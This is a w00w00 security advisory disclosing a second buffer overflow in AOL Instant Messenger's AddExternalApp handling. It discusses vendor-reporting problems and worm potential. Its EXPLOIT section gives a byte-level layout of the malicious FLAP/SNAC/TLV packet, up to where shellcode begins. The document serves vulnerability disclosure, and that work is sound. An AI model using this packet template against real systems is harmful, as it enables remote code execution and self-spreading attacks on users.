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                       AOL Instant Messenger Overflow #2
                        w00w00! http://www.w00w00.org
                      ==================================
      
      PRELUDE
      
      AOL Instant Messenger is still vulnerable to a serious overflow, as
      discovered by John Hennessy while tweaking our example exploit,
      w00aimexp.  A few simple modifications and it's the same thing, all
      over again.
      
      We'd like to raise attention to the fact that, despite the past press
      coverage on how difficult it was to communicate serious problems to
      AOL, nothing appears to have changed.  John first contacted AOL the
      same way we did 4 months ago and got no response, so he passed the
      info on to us.  We used the contact information we gleaned from the
      last escapade and informed AOL of the problem. They appear to have
      taken notice by filtering on the server-side, so we give them kudos;
      however, we were only able to get this fixed because we had the 
      benefit of non-publicly available information about who to talk to.
      Had AOL taken heed from the first time this happened, John wouldn't
      have had to reach out to us in order to report this egregious bug.
      For that, we are disappointed, and once again insist that vendors
      NEED to make it easier to report vulnerabilities if they are at all
      interested in protecting their customers from less inhibited,
      malicious individuals.
      
      Therefore, we recommend users switch to an Instant Messaging provider
      that has well-defined venues for reporting vulnerabilities.
      
      DESCRIPTION
      
      This vulnerability is almost identical to the previous one and simply
      affects a different mechanism (AddExternalApp instead of 
      AddGameRquest). 
      
      AOL Instant Messenger (AIM) has a major security vulnerability in all
      stable (non-beta) versions dating back to 4.2. This vulnerability
      will allow remote penetration of the victim's system without any 
      indication as to who performed the attack. There is no opportunity 
      to refuse the request. This does not affect the non-Windows 
      versions, because the non-Windows versions currently do not yet 
      support the feature that this vulnerability occurs in.
      
      This particular vulnerability results from an overflow in the code
      that parses a request to run an external application. This works with
      any TLV type > 0x2711, because 0x2711 is filtered on the AIM server
      side from the first vulnerability we reported. It appears that we 
      were correct in our original advisory when we stated, "This may be
      more generic and exploitable through other means, but AOL has not
      released enough information about their protocol for us to be able to
      determine that."
      
      NOTE: On the points of full disclosure and vendor reporting, w00w00
      would like to encourage folks to read the IETF draft "Security Through
      Obscurity Considered Dangerous" by Steven M. Bellovin and Randy Bush
      of AT&T Research, available at:
      http://www.ietf.org/internet-drafts/draft-ymbk-obscurity-00.txt
      
      IMPLICATIONS
      
      This has the same implications as the original advisory, so I will
      include the paragraphs from the first advisory:
         AOL Instant Messenger (http://www.aim.com) has over 100 million
         users. The implications of this vulnerability are huge and leave
         the door wide open for a worm not unlike those that Microsoft
         Outlook, IIS, et al. have all had (Melissa, ILOVEYOU, CodeRed, 
         Nimda, etc.). An exploit could download itself off the web, 
         determine the  buddies of the victim, and then attack them also.
         Given the general nature of social networks and how they are 
         structured, we predict that it wouldn't take long for such an
         attack to propagate.
      
         The particular overflow described supra allows a payload can be
         several thousand bytes long, which leaves lots of room for 
         creative shellcode. In addition, the shellcode can have null 
         bytes in it.
      
      EXPLOIT
      
      The differences between this in the first one are:
      1. Using TLV type > 0x2711 instead of 0x2711
      2. Using AddExternalApp instead of AddGameRequest
      3. The offset to EIP for this vulnerability is shifted down 200
        bytes.
      
      Since the code is so similar and this is already filterede, we
      won't be releasing additional source code.
      
      FLAP header (6 bytes)
      [\x2a] '*' (magic number)
      [\x02] channel (data)
      [\x00\x11] seqnum number
      [\x07\x87] packet length (1927 bytes)
      
      SNAC header (10 bytes)
      [\x00\x04] SNAC family (message)
      [\x00\x06] SNAC type (outgoing message)
      [\x00\x00] SNAC flags (none)
      [\x00\x00\x00\x09] SNAC ID
      
      [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
      
      [\x00\x02] SNAC channel (data)
      
      [\x0c] victim screen name length
      [\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name
      
      Now a set of TLV data types. There is a base container, type 0x05,
      that contains everything else. Inside of this are several smaller
      containers, with each TLV type following immediately after the
      previous. If those are misaligned, you'll receive a "busted SNAC
      payload" error.
      
      [\x00\x05] TLV type (0x05)
      [\x07\x62] TLV length (1890 bytes)
      
      [\x00\x00] cookie marker
      [\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie
      
      Capability used to exploit this libfaim calls it (SAVESTOCKS):
      [\x09\x46\x13\x47\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00]
      
      [\x00\x0a] TLV type (0x0a)
      [\x00\x02] TLV length (2 bytes)
      [\x00\x01] TLV data
      
      [\x00\x0f] TLV type (0x0f)
      [\x00\x00] TLV length (0)
      
      [\x00\x0e] TLV type (0x0e)
      [\x00\x02] TLV length (2 bytes)
      ["en"] TLV data (language)
      
      [\x00\x0d] TLV type (0x0d)
      [\x00\x08] TLV length (8 bytes)
      ["us-ascii"] TLV data (charset)
      
      [\x00\x0c] TLV type (0x0d)
      [\x00\x06] TLV length (6 bytes)
      ["w00w00"] TLV data (game's name?)
      
      [\x00\x03] TLV type (0x03)
      [\x00\x04] TLV length (4 bytes)
      [\x40\xa3\x1e\x4f]
      
      [\x00\x05] TLV type (0x05)
      [\x00\x02] TLV length (2 byte)
      [\x14\x46]
      
      [\x00\x07] TLV type (0x07)
      [\x00\x38] TLV length (56 bytes)
      ["aim:AddExternalApp?name=w00w00&url=http://www.w00w00.org"]
      
      [\x27\x12] TLV type (0x2712)
      [\xXX\xXX] TLV length (22 + length of shellcode)
      [\x00\x00\x02\x00\x05\x07\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53
      \x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]
      
      PATCHES
      
      AOL is blocking this on the server side. Hopefully they'll
      also produce client side fixes. We'll have to wait and see how
      long it takes for someone to find another way around the filter.
      
      CREDIT
      
      w00w00 would like to thank John Hennessey for informing us of
      the problem after his attempts failed.